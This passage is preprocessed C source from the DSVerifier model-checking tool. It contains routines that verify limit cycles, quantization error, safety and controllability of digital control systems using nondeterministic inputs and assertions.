double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x[i] = nondet_constant_input;
y[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux[i] = nondet_constant_input;
}
double yaux[ans_den_size];
double y0[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux[Nw];
double w0[Nw];
# 105 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
for (i = 0; i < Nw; ++i) {
waux[i] = nondet_int();
__DSVERIFIER_assume(waux[i] >= impl.min && waux[i] <= impl.max);
w0[i] = waux[i];
}
double xk, temp;
double *aptr, *bptr, *xptr, *yptr, *wptr;
int j;
for(i=0; i<X_SIZE_VALUE; ++i){
# 134 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_limit_cycle_closedloop.h"
y[i] = double_transposed_direct_form_2(waux, x[i], ans_den, ans_num, ans_den_size, ans_num_size);
}
double_check_persistent_limit_cycle(y, X_SIZE_VALUE);
return 0;
}
# 42 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h" 1
# 23 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
extern digital_system plant;
extern digital_system plant_cbmc;
extern digital_system controller;
int verify_error_closedloop(void){
overflow_mode = 3;
double * c_num = controller.b;
int c_num_size = controller.b_size;
double * c_den = controller.a;
int c_den_size = controller.a_size;
fxp_t c_num_fxp[controller.b_size];
fxp_double_to_fxp_array(c_num, c_num_fxp, controller.b_size);
fxp_t c_den_fxp[controller.a_size];
fxp_double_to_fxp_array(c_den, c_den_fxp, controller.a_size);
double c_num_qtz[controller.b_size];
fxp_to_double_array(c_num_qtz, c_num_fxp, controller.b_size);
double c_den_qtz[controller.a_size];
fxp_to_double_array(c_den_qtz, c_den_fxp, controller.a_size);
# 56 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
double * p_num = plant_cbmc.b;
int p_num_size = plant.b_size;
double * p_den = plant_cbmc.a;
int p_den_size = plant.a_size;
double ans_num_double[100];
double ans_num_qtz[100];
int ans_num_size = controller.b_size + plant.b_size - 1;
double ans_den_qtz[100];
double ans_den_double[100];
int ans_den_size = controller.a_size + plant.a_size - 1;
# 77 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
int i;
double y_qtz[X_SIZE_VALUE];
double y_double[X_SIZE_VALUE];
double x_qtz[X_SIZE_VALUE];
double x_double[X_SIZE_VALUE];
double xaux_qtz[ans_num_size];
double xaux_double[ans_num_size];
double xaux[ans_num_size];
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= impl.min && nondet_constant_input <= impl.max);
for (i = 0; i < X_SIZE_VALUE; ++i) {
x_qtz[i] = nondet_constant_input;
x_double[i] = nondet_constant_input;
y_qtz[i] = 0;
y_double[i] = 0;
}
for (i = 0; i < ans_num_size; ++i) {
xaux_qtz[i] = nondet_constant_input;
xaux_double[i] = nondet_constant_input;
}
double yaux_qtz[ans_den_size];
double yaux_double[ans_den_size];
double y0_qtz[ans_den_size];
double y0_double[ans_den_size];
int Nw = ans_den_size > ans_num_size ? ans_den_size : ans_num_size;
double waux_qtz[Nw];
double waux_double[Nw];
double w0_qtz[Nw];
double w0_double[Nw];
for (i = 0; i < Nw; ++i) {
waux_qtz[i] = 0;
waux_double[i] = 0;
}
for(i=0; i<X_SIZE_VALUE; ++i){
# 150 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_closedloop.h"
y_qtz[i] = double_transposed_direct_form_2(waux_qtz, x_qtz[i], ans_den_qtz, ans_num_qtz, ans_den_size, ans_num_size);
y_double[i] = double_transposed_direct_form_2(waux_double, x_double[i], ans_den_double, ans_num_double, ans_den_size, ans_num_size);
double absolute_error = y_double[i] - fxp_to_double(y_qtz[i]);
__DSVERIFIER_assert(absolute_error < (impl.max_error) && absolute_error > (-impl.max_error));
}
return 0;
}
# 43 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 1
# 20 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double new_state[4][4];
double new_stateFWL[4][4];
digital_system_state_space _controller_fxp;
digital_system_state_space _controller_double;
double ss_system_quantization_error(fxp_t inputs){
digital_system_state_space __backupController;
int i;
int j;
_controller.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
__backupController.A[i][j]= (_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
__backupController.B[i][j]= (_controller.B[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
__backupController.C[i][j]= (_controller.C[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
__backupController.D[i][j]= (_controller.D[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
__backupController.states[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
__backupController.inputs[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
__backupController.outputs[i][j]= (_controller.outputs[i][j]);
}
}
double __quant_error = 0.0;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_state[i][j]);
}
}
double output_double = double_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
__backupController.inputs[0][0] = inputs;
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
_controller.A[i][j] = __backupController.A[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
_controller.B[i][j] = __backupController.B[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nStates;j++){
_controller.C[i][j] = __backupController.C[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
_controller.D[i][j] = __backupController.D[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j] = __backupController.states[i][j];
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
_controller.inputs[i][j] = __backupController.inputs[i][j];
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
_controller.outputs[i][j] = __backupController.outputs[i][j];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
_controller.states[i][j]= (new_stateFWL[i][j]);
}
}
double output_fxp = fxp_state_space_representation();
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
__quant_error = output_double - output_fxp;
return __quant_error;
}
double fxp_ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double temp_result1[4][4];
double result2[4][4];
double temp_states[4][4];
fxp_t K_fxp[4][4];
fxp_t states_fxp[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_fxp.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
reference_aux[i][j]=0;
K_fxp[i][j] = 0;
}
}
for(i=0; i<nInputs;i++){
reference_aux[i][0]= reference;
}
for(i=0; i<4;i++){
states_fxp[i][0]=0;
}
for(i=0; i<nStates;i++){
K_fxp[0][i]= fxp_double_to_fxp(_controller_fxp.K[0][i]);
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for(k=0; k<nStates;k++)
{
states_fxp[k][0]= fxp_double_to_fxp(_controller_fxp.states[k][0]);
}
fxp_matrix_multiplication(nOutputs,nStates,nStates,1,K_fxp,states_fxp,result_fxp);
fxp_t reference_fxp[4][4];
fxp_t result_fxp2[4][4];
for(k=0;k<nInputs;k++)
{
reference_fxp[k][0] =fxp_double_to_fxp(fxp_quantize(reference_aux[k][0]));
}
fxp_sub_matrix(nInputs,1, reference_fxp, result_fxp, result_fxp2);
for(k=0; k<nInputs;k++)
{
_controller_fxp.inputs[k][0] = fxp_to_double(fxp_quantize(result_fxp2[k][0]));
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_fxp.C,_controller_fxp.states,result1);
if(flag == 1)
{
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_fxp.D,_controller_fxp.inputs,result2);
}
double_add_matrix(nOutputs,1,result1,result2,_controller_fxp.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_fxp.A,_controller_fxp.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_fxp.B,_controller_fxp.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_fxp.states);
return _controller_fxp.outputs[0][0];
}
double ss_closed_loop_quantization_error(double reference){
double reference_aux[4][4];
double result1[4][4];
double result2[4][4];
unsigned int i;
unsigned int j;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller_double.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference_aux[i][j]= reference;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.K,_controller_double.states,result1);
double_sub_matrix(nInputs,1,reference_aux,result1, _controller_double.inputs);
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller_double.C,_controller_double.states,result1);
if(flag == 1)
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller_double.D,_controller_double.inputs,result2);
double_add_matrix(nOutputs,1,result1,result2,_controller_double.outputs);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller_double.A,_controller_double.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller_double.B,_controller_double.inputs,result2);
double_add_matrix(nStates,1,result1,result2,_controller_double.states);
return _controller_double.outputs[0][0];
}
int verify_error_state_space(void){
int i,j;
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_state[i][j]= (_controller.states[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<1;j++){
new_stateFWL[i][j]= (_controller.states[i][j]);
}
}
_controller_fxp = _controller;
_controller_double = _controller;
overflow_mode = 0;
fxp_t x[0];
fxp_t min_fxp = fxp_double_to_fxp(impl.min);
fxp_t max_fxp = fxp_double_to_fxp(impl.max);
double nondet_constant_input = nondet_double();
__DSVERIFIER_assume(nondet_constant_input >= min_fxp && nondet_constant_input <= max_fxp);
for (i = 0; i < 0; ++i) {
x[i] = nondet_constant_input;
}
double __quant_error;
if(closed_loop){
for (i = 0; i < 0; ++i) {
__quant_error = ss_closed_loop_quantization_error(x[i]) - fxp_ss_closed_loop_quantization_error(x[i]);
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 354, __extension__ __PRETTY_FUNCTION__); }))
# 354 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
else {
for (i=0; i < 0; i++)
{
__quant_error = ss_system_quantization_error(x[i]);
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
((void) sizeof ((
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
__quant_error < error_limit && __quant_error > ((-1)*error_limit)
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
) ; else __assert_fail (
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
"__quant_error < error_limit && __quant_error > ((-1)*error_limit)"
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h", 361, __extension__ __PRETTY_FUNCTION__); }))
# 361 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_error_state_space.h"
;
}
}
return 0;
}
# 44 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 1
# 17 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
extern digital_system_state_space _controller;
extern double error_limit;
extern int closed_loop;
double fxp_ss_closed_loop_safety(){
double reference[4][4];
double result1[4][4];
double result2[4][4];
fxp_t K_fpx[4][4];
fxp_t outputs_fpx[4][4];
fxp_t result_fxp[4][4];
unsigned int i;
unsigned int j;
unsigned int k;
short unsigned int flag = 0;
for(i=0; i<nOutputs;i++){
for(j=0; j<nInputs;j++){
if(_controller.D[i][j] != 0){
flag = 1;
}
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<1;j++){
reference[i][j]= (_controller.inputs[i][j]);
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]=0;
}
}
for(i=0; i<nOutputs;i++){
for(j=0; j<1;j++){
outputs_fpx[i][j]=0;
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result_fxp[i][j]=0;
}
}
for(i=0; i<nInputs;i++){
for(j=0; j<nOutputs;j++){
K_fpx[i][j]= fxp_double_to_fxp(_controller.K[i][j]);
}
}
for(i=0; i<4;i++){
for(j=0; j<4;j++){
result1[i][j]=0;
result2[i][j]=0;
}
}
for (i = 1; i < 0; i++) {
double_matrix_multiplication(nOutputs,nStates,nStates,1,_controller.C,_controller.states,result1);
if(flag == 1){
double_matrix_multiplication(nOutputs,nInputs,nInputs,1,_controller.D,_controller.inputs,result2);
}
double_add_matrix(nOutputs,
1,
result1,
result2,
_controller.outputs);
for(k=0; k<nOutputs;k++){
for(j=0; j<1;j++){
outputs_fpx[k][j]= fxp_double_to_fxp(_controller.outputs[k][j]);
}
}
fxp_matrix_multiplication(nInputs,nOutputs,nOutputs,1,K_fpx,outputs_fpx,result_fxp);
for(k=0; k<nInputs;k++){
for(j=0; j<1;j++){
result1[k][j]= fxp_to_double(result_fxp[k][j]);
}
}
printf("### fxp: U (before) = %.9f", _controller.inputs[0][0]);
printf("### fxp: reference = %.9f", reference[0][0]);
printf("### fxp: result1 = %.9f", result1[0][0]);
printf("### fxp: reference - result1 = %.9f", (reference[0][0] - result1[0][0]));
double_sub_matrix(nInputs,
1,
reference,
result1,
_controller.inputs);
printf("### fxp: Y = %.9f", _controller.outputs[0][0]);
printf("### fxp: U (after) = %.9f \n### \n### ", _controller.inputs[0][0]);
double_matrix_multiplication(nStates,nStates,nStates,1,_controller.A,_controller.states,result1);
double_matrix_multiplication(nStates,nInputs,nInputs,1,_controller.B,_controller.inputs,result2);
double_add_matrix(nStates,
1,
result1,
result2,
_controller.states);
}
return _controller.outputs[0][0];
}
int verify_safety_state_space(void){
fxp_t output_fxp = fxp_ss_closed_loop_safety();
double output_double = fxp_to_double(output_fxp);
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
((void) sizeof ((
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
output_double <= error_limit
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
) ; else __assert_fail (
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
"output_double <= error_limit"
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h", 140, __extension__ __PRETTY_FUNCTION__); }))
# 140 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_safety_state_space.h"
;
return 0;
}
# 45 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/dsverifier.h" 2
# 1 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 1
# 14 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
extern digital_system_state_space _controller;
int verify_controllability(void){
int i;
int j;
fxp_t A_fpx[4][4];
fxp_t B_fpx[4][4];
fxp_t controllabilityMatrix[4][4];
fxp_t backup[4][4];
fxp_t backupSecond[4][4];
double controllabilityMatrix_double[4][4];
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
A_fpx[i][j] = 0.0;
B_fpx[i][j] = 0.0;
controllabilityMatrix[i][j] = 0.0;
backup[i][j] = 0.0;
backupSecond[i][j] = 0.0;
controllabilityMatrix_double[i][j] = 0.0;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
A_fpx[i][j]= fxp_double_to_fxp(_controller.A[i][j]);
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nInputs;j++){
B_fpx[i][j]= fxp_double_to_fxp(_controller.B[i][j]);
}
}
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
fxp_exp_matrix(nStates,nStates,A_fpx,l,backup);
l++;
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
fxp_transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
fxp_t mimo_controllabilityMatrix_fxp[4][4];
fxp_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_fxp);
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(mimo_controllabilityMatrix_fxp[i][j]);
}
}
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 91, __extension__ __PRETTY_FUNCTION__); }))
# 91 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
fxp_exp_matrix(nStates,nStates,A_fpx,j,backup);
fxp_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,B_fpx,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
for(i=0; i<nStates;i++){
for(j=0; j<nStates;j++){
controllabilityMatrix_double[i][j]= fxp_to_double(controllabilityMatrix[i][j]);
}
}
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix_double,nStates) != 0
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix_double,nStates) != 0"
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 113, __extension__ __PRETTY_FUNCTION__); }))
# 113 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
int verify_controllability_double(void){
int i;
int j;
double controllabilityMatrix[4][4];
double backup[4][4];
double backupSecond[4][4];
double controllabilityMatrix_double[4][4];
if(nInputs > 1){
int l = 0;
for(j=0; j<(nStates*nInputs);){
double_exp_matrix(nStates,nStates,_controller.A,l,backup);
l++;
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(int k = 0; k < nInputs; k++){
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][k];
}
j++;
}
}
for(i=0; i<nStates;i++){
for(j=0; j<(nStates*nInputs);j++){
backup[i][j]= 0.0;
}
}
transpose(controllabilityMatrix,backup,nStates,(nStates*nInputs));
double mimo_controllabilityMatrix_double[4][4];
double_matrix_multiplication(nStates,(nStates*nInputs),(nStates*nInputs),nStates,controllabilityMatrix,backup,mimo_controllabilityMatrix_double);
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(mimo_controllabilityMatrix_double,nStates) != 0
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(mimo_controllabilityMatrix_double,nStates) != 0"
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 154, __extension__ __PRETTY_FUNCTION__); }))
# 154 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
} else {
for(j=0; j<nStates;j++){
double_exp_matrix(nStates,nStates,_controller.A,j,backup);
double_matrix_multiplication(nStates,nStates,nStates,nInputs,backup,_controller.B,backupSecond);
for(i = 0; i<nStates;i++){
controllabilityMatrix[i][j]= backupSecond[i][0];
}
}
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
((void) sizeof ((
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ? 1 : 0), __extension__ ({ if (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
determinant(controllabilityMatrix,nStates) != 0
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
) ; else __assert_fail (
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
"determinant(controllabilityMatrix,nStates) != 0"
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h" 3 4
, "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h", 163, __extension__ __PRETTY_FUNCTION__); }))
# 163 "/home/yashchopda/Desktop/dsverifier-v2.0.3-esbmc-v4.0-cbmc-5.6/bmc/engine/verify_controllability.h"
;
}
return 0;
}
